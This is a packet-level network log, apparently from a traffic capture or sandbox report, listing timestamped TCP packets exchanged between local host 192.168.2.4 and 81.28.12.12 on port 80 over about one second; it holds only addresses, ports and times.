Jun 29, 2024 08:05:00.835094929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.836709023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.836735010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.836749077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.836766958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.836791039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.838324070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.838339090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.838352919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.838398933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.838398933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.840131044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.840186119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.840195894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.840210915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.840243101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.840272903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.841759920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.841773987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.841820955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.841821909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.099545956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.099580050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.099595070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.099606991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.099653959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.099653959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.100109100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.100162983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.100177050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.100209951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.100224018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.100225925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.100280046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.101939917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.101994991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.102032900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.102077961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.102262974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.102291107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.102313995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.102344036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.103475094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.103491068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.103504896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.103549004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.103549004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.105237961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.105290890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.105293989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.105309963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.105349064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.105349064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.106810093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.106863022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.106882095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.106897116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.106934071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.106934071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.108382940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.108438015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.108454943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.108474970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.108534098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.108534098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.110225916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.110265970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.110287905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.110311985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.110343933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.110383034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.111955881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.112004042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.112030983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.112065077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.112083912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.112107038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.113545895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.113579988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.113600016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.113626003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.113651037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.113698959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.115869999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.115917921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.115946054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.115977049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.115998030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.116030931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.116987944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.117031097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.117058992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.117090940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.117111921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.117160082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.119241953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.119276047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.119294882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.119318962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.119344950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.119407892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.121090889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.121144056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.121165991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.121198893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.121221066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.121248007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.123024940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.123076916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.123099089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.123131037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.123150110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.123172998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.124332905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.124382973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.124407053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.124448061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.124463081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.124522924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.125680923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.125725031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.125751972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.125783920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.125807047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.125830889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.127167940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.127221107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.127244949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.127270937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.127295017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.127342939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.128974915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.129009008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.129030943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.129055977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.129081964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.129132032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.130506992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.130563974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.130618095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.130650043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.130671024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.130697012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.132196903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.132251978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.132304907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.132335901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.132355928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.132379055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.133939981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.133970022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.134035110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.134089947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.134119987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.134140015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.134162903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.135772943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.135804892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.135827065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.135854006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.397167921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.397207022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.397242069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.397275925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.397308111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.397519112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.397552013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.397586107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.397613049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.397639036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.399275064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.399307966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.399332047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.399354935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.399383068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.399461031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.400566101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.400598049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.400619030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.400655031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.400682926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.400731087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.403028011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.403060913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.403085947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.403105974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.403134108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.403182030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.404443026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.404476881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.404520988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.404520988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.404578924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.404628992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.406616926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.406651020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.406671047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.406694889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.406760931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.406811953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.408607960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.408641100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.408682108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.408682108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.408725977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.408773899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.409449100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.409506083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.409636974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.409668922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.409687996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.409712076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.411159039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.411211014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.411230087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.411262989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.411283016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.411310911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.412244081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.412271976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.412293911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.412311077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.412343025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.412375927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.412399054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.412427902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.414333105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.414365053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.414400101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.414417028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.414437056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.414557934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.415903091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.415935993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.415956020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.415982008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.416007042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.416052103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.417390108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.417447090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.417776108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.417805910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.417829037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.417849064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.417877913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.417926073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.419727087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.419760942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.419780970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.419806004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.419831991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.419879913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.420891047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.420923948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.420943975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.420968056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.420994997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.421040058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.424343109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.424398899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.424413919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.424441099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.424464941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.424515009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.424787045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.424818993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.424843073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.424860954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.424890041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.424940109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.426470995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.426502943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.426522017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.426546097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.426573038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.426621914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.427529097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.427561045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.427580118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.427603960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.427630901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.427676916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.429497004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.429528952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.429548979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.429574013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.429600000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.429668903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.431469917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.431528091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.431583881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.431616068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.431634903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.431655884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.433413982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.433445930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.433465004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.433490038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.691966057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.691993952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.692011118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.692074060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.692102909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.692790985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.692853928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.692914963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.692934036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.692962885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.692980051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.694289923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.694333076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.694348097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.694365978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.694379091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.694410086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.696633101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.696665049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.696681023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.696696043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.696707964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.696733952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.697741032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.697757006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.697792053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.697805882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.697853088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.697947025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.697973967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.698018074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.699448109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.699492931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.699507952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.699526072 CEST	80	49731	81.28.12.12	192.168.2.4
